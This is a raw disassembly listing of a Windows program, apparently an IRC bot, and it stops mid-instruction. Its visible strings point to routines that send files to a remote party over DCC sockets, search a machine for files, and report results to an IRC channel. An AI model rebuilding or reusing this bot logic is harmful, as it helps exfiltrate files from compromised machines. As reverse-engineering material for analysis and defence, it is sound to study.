add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BC70 proc near ; CODE XREF: sub_401BF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021CB sub_40BC70 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BCB0 proc near ; CODE XREF: sub_401555j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FCD sub_40BCB0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD20 proc near ; CODE XREF: sub_401451j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4020F9 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD60 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_401906j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C71 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C49 sub_40BD90 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDD0 proc near ; CODE XREF: sub_401BEFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BDD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE20 proc near ; CODE XREF: sub_40153Cj push esi mov esi, ecx call sub_40213A mov eax, esi pop esi retn sub_40BE20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401F5Aj mov eax, [ecx] push eax call sub_401839 add esp, 4 retn sub_40BE40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE60 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_4020F9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BE60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE90 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CE9 neg al sbb eax, eax inc eax retn 4 sub_40BE90 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BEC0 proc near ; CODE XREF: sub_401C49j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016A4 mov edi, eax push edi call sub_40213F mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021CB sub_40BEC0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40213F push edi mov [eax], ebx call sub_40213F mov edi, [eax] push edi call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401839 add esp, 4 mov ecx, esi push eax call sub_401F14 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_4014A6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40BFBA loc_40BF78: ; CODE XREF: sub_40BF60+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B86 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40BF78 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40BF60+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40BF60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFF0 proc near ; CODE XREF: sub_4021CBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_40155F sub_40BFF0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C005 mov edi, esi loc_40C005: ; CODE XREF: ___:0040C001j push esi call sub_4020F9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C01A mov edi, esi loc_40C01A: ; CODE XREF: ___:0040C016j push esi call sub_40213F add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C040 proc near ; CODE XREF: sub_401FCDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402059 sub_40C040 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C060 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C060 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C080 proc near ; CODE XREF: sub_401839j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C080 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0A0 proc near ; CODE XREF: sub_40213Aj mov eax, ecx retn sub_40C0A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0C0 proc near ; CODE XREF: sub_4014A6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C0C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0F0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C0F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B86 mov ecx, eax call sub_4016A4 mov esi, eax push esi call sub_4020F9 push esi mov ebx, eax call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [ebx] push esi mov [eax], edx call sub_40213F push esi mov ebx, eax call sub_4020F9 mov eax, [eax] push eax call sub_40213F mov ecx, [ebx] push esi mov [eax], ecx call sub_401839 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FCD sub_40C120 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1E0 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C1E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40155Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_40C200 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C230 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40C230 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C250 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C280 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2A0 proc near ; CODE XREF: sub_4016A4j mov eax, [ecx] retn sub_40C2A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C2C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2F0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C2F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C310 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C32B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C32B: ; CODE XREF: sub_40C310+11j retn sub_40C310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C360 proc near ; CODE XREF: sub_401BE5j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_40C360 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C400 proc near ; CODE XREF: sub_401712j var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C400 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014D3 mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40C94E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_443600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40200E lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C4CC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call near ptr byte_5EA1BD add esp, 8 jmp loc_40C8F5 ; --------------------------------------------------------------------------- loc_40C4CC: ; CODE XREF: sub_40C400+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C51A lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C5C0 ; --------------------------------------------------------------------------- loc_40C51A: ; CODE XREF: sub_40C400+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014D3 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C573: ; CODE XREF: sub_40C400+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C585 mov eax, 5Fh jmp short loc_40C588 ; --------------------------------------------------------------------------- loc_40C585: ; CODE XREF: sub_40C400+17Cj movsx eax, al loc_40C588: ; CODE XREF: sub_40C400+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C573 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C5DD lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C5C0: ; CODE XREF: sub_40C400+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C5DD: ; CODE XREF: sub_40C400+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017E4 push eax nop call near ptr 285032Bh mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C644 lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx call near ptr byte_5EA1BD nop add esp, 8 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C644: ; CODE XREF: sub_40C400+201j push 0 push esi nop call near ptr 2850000h lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_401424 mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D60BD push eax call sub_401DF7 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017E4 push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_443A20 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_401681 push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C73D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C73D: ; CODE XREF: sub_40C400+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C78D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C78D: ; CODE XREF: sub_40C400+360j push edi call near ptr 71AB9639h nop test ebx, ebx jz loc_40C845 loc_40C79C: ; CODE XREF: sub_40C400+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C7A7 mov ebp, ebx loc_40C7A7: ; CODE XREF: sub_40C400+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 28403D9h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 2840000h mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp nop call near ptr 71AB615Ah cmp eax, 1 jl loc_40C90E cmp edi, 1 jl loc_40C90E sub ebx, edi jnz loc_40C79C mov ebp, [esp+0ABCh+arg_0] loc_40C845: ; CODE XREF: sub_40C400+396j push esi nop call near ptr 28308B0h lea ecx, [esp+0AB8h+var_A38] call sub_401424 mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014D3 mov edx, [esp+0AC0h+var_A1C] push eax push edx call near ptr 71AB3F41h nop push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014D3 push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C8DA: ; CODE XREF: sub_40C400+338j ; sub_40C400+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C8EF: ; CODE XREF: sub_40C400+1D8j ; sub_40C400+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C8FC loc_40C8F5: ; CODE XREF: sub_40C400+C7j push ebx nop call near ptr 71AB9639h loc_40C8FC: ; CODE XREF: sub_40C400+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 28301C6h loc_40C90E: ; CODE XREF: sub_40C400+427j ; sub_40C400+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 nop call near ptr 28301C6h loc_40C94E: ; CODE XREF: sub_40C400+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C400 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CAD0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_401424 mov eax, esi pop esi retn sub_40CAD0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CAF0: ; CODE XREF: ___:loc_401AFFj add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CB10 proc near ; CODE XREF: sub_402045j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CB10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_40CB10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401BA4j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CBB0 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014D3 mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CDAE push ebx lea ecx, [esp+284h+var_260] call sub_40198D lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40200E push 1 push offset asc_443600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+288h+var_247] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_443600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017E4 push eax lea ecx, [esp+288h+var_232] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E2E push offset asc_443AF4 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CD2B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E2E push offset dword_446F64 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CD2B: ; CODE XREF: sub_40CBB0+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014D3 push eax lea ecx, [esp+28Ch+var_247] call sub_4014D3 push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_401681 mov ecx, [esp+294h+var_260] push eax push ecx call sub_402257 add esp, 18h lea edx, [esp+284h+var_20C] push eax push offset aFilesFoundD ; "Files Found: %d" push edx nop call near ptr byte_5EA1BD mov eax, [esp+28Ch+var_211] add esp, 0Ch cmp eax, ebx jnz short loc_40CD99 mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_401681 mov edx, [esp+288h+var_25C] push eax push edx call sub_401523 add esp, 10h loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j mov eax, [esp+280h+var_219] push eax call 